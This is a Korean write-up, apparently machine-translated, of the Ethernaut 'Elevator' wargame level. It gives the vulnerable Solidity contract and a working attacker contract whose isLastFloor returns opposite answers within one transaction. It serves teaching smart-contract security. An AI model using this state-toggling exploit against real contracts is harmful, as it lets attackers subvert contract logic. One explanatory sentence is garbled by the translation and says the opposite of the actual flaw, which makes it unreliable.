Ethernaut: 11. 엘리베이터
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
이 수준에서는 엘리베이터가 상호 작용하는 계약
Builder
을 작성할 것입니다. 그러나 동일한 트랜잭션에서 isLastFloor
함수에 대해 반대 부울 결과를 반환합니다.// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
interface Elevator {
function goTo(uint _floor) external;
}
contract Building {
bool toggleMe = true;
function isLastFloor(uint) external returns (bool) {
toggleMe = !toggleMe;
return toggleMe;
}
function callElevator(address _elevator) public {
Elevator(_elevator).goTo(1);
}
}
여기서 문제는 Elevator가
isLastFloor
를 view
함수로 지정하지 않았기 때문에 이와 같이 상태를 수정할 수 없다는 것입니다. 또 다른 공격 방식은 via gasLeft()
와 같이 상태를 수정하지 않고 입력 데이터에 따라 다른 결과를 반환하는 것입니다.
Reference
이 문제에 관하여(Ethernaut: 11. 엘리베이터), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/erhant/ethernaut-11-elevator-10kn텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)